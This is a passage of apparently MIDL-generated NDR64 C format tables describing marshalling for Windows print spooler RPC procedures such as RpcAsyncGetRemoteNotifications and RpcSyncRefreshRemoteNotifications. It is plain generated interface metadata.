offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag942,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszInfPath */      /* parameter pszInfPath */\n        &__midl_frag942,\n        { \n        /* pszInfPath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszDriverName */      /* parameter pszDriverName */\n        &__midl_frag947,\n        { \n        /* pszDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag947,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* dwFlags */      /* parameter dwFlags */\n        &__midl_frag948,\n        { \n        /* dwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag948,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag928_t __midl_frag928 =\n{ \n/* *RpcPrintPropertiesCollection */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag871\n};\n\nstatic const __midl_frag927_t __midl_frag927 =\n{ \n/* **RpcPrintPropertiesCollection */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag926_t __midl_frag926 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag925_t __midl_frag925 =\n{ \n/* RpcAsyncGetRemoteNotifications */\n    { \n    /* RpcAsyncGetRemoteNotifications */      /* procedure RpcAsyncGetRemoteNotifications */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hRpcHandle */      /* parameter hRpcHandle */\n        &__midl_frag926,\n        { \n        /* hRpcHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ppNotifyData */      /* parameter ppNotifyData */\n        &__midl_frag927,\n        { \n        /* ppNotifyData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag948,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag921_t __midl_frag921 =\n{ \n/* *RpcPrintPropertiesCollection */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag871\n};\n\nstatic const __midl_frag919_t __midl_frag919 =\n{ \n/* RpcSyncRefreshRemoteNotifications */\n    { \n    /* RpcSyncRefreshRemoteNotifications */      /* procedure RpcSyncRefreshRemoteNotifications */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hRpcHandle */      /* parameter hRpcHandle */\n        &__midl_frag926,\n        { \n        /* hRpcHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pNotifyFilter */      /* parameter pNotifyFilter */\n        &__midl_frag871,\n        { \n        /* pNotifyFilter */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ppNotifyData */      /* parameter ppNotifyData */\n        &__midl_frag927,\n        { \n        /* ppNotifyData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1065,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag917_t __midl_frag917 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag916_t __midl_frag916 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag917\n};\n\nstatic const __midl_frag915_t __midl_frag915 =\n{ \n/* RpcSyncUnRegisterForRemoteNotifications */\n    { \n    /* RpcSyncUnRegisterForRemoteNotifications */      /* procedure RpcSyncUnRegisterForRemoteNotifications */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 2 /* 0x2 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phRpcHandle */      /* parameter phRpcHandle */\n        &__midl_frag917,\n        { \n        /* phRpcHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1103,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag913_t __midl_frag913 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 2 /* 0x2 */,\n    (NDR64_UINT8) 3 /* 0x3 */\n};\n\nstatic const __midl_frag912_t __midl_frag912 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag913\n};\n\nstatic const __midl_frag911_t __midl_frag911 =\n{ \n/*  */\n    { \n    /* *RpcPrintNamedProperty */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag872\n    }\n};\n\nstatic const __midl_frag910_t __midl_frag910 =\n{ \n/*  */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag902\n    }\n};\n\nstatic const __midl_frag909_t __midl_frag909 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag908_t __midl_frag908 =\n{ \n/* *short */\n    { \n    /* *short */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *short */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag909\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag906\n    }\n};\n\nstatic const __midl_frag907_t __midl_frag907 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *short */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 32 /* 0x20 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag908\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag906_t __midl_frag906 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag903_t __midl_frag903 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag902_t __midl_frag902 =\n{ \n/* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag903\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 16 /* 0x10 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *short */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 32 /* 0x20 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag908\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag907\n    }\n};\n\nstatic const __midl_frag901_t __midl_frag901 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag910,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag900_t __midl_frag900 =\n{ \n/* NOTIFY_OPTIONS_CONTAINER */\n    { \n    /* NOTIFY_OPTIONS_CONTAINER */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* NOTIFY_OPTIONS_CONTAINER */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *RPC_V2_NOTIFY_OPTIONS */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag901\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag899_t __midl_frag899 =\n{ \n/*  */\n    { \n    /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n        0x40,    /* FC64_FIX_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag898_t __midl_frag898 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag895\n    }\n};\n\nstatic const __midl_frag897_t __midl_frag897 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag896_t __midl_frag896 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag895_t __midl_frag895 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag896\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag894_t __midl_frag894 =\n{ \n/* STRING_CONTAINER */\n    { \n    /* STRING_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* STRING_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag898,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag893_t __midl_frag893 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x1b,    /* OP_AND */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 65535 /* 0xffff */\n    }\n};\n\nstatic const __midl_frag892_t __midl_frag892 =\n{ \n/* RPC_V2_NOTIFY_INFO_DATA_DATA */\n    { \n    /* RPC_V2_NOTIFY_INFO_DATA_DATA */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        &__midl_frag893,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag894,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag899,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag884,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag10,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 5 /* 0x5 */,\n        &__midl_frag92,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag891_t __midl_frag891 =\n{ \n/* RPC_V2_NOTIFY_INFO_DATA */\n    { \n    /* RPC_V2_NOTIFY_INFO_DATA */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_INFO_DATA */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* RPC_V2_NOTIFY_INFO_DATA */\n            0x30,    /* FC64_STRUCT */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT16) 12 /* 0xc */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag892\n        },\n        { \n        /* RPC_V2_NOTIFY_INFO_DATA */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            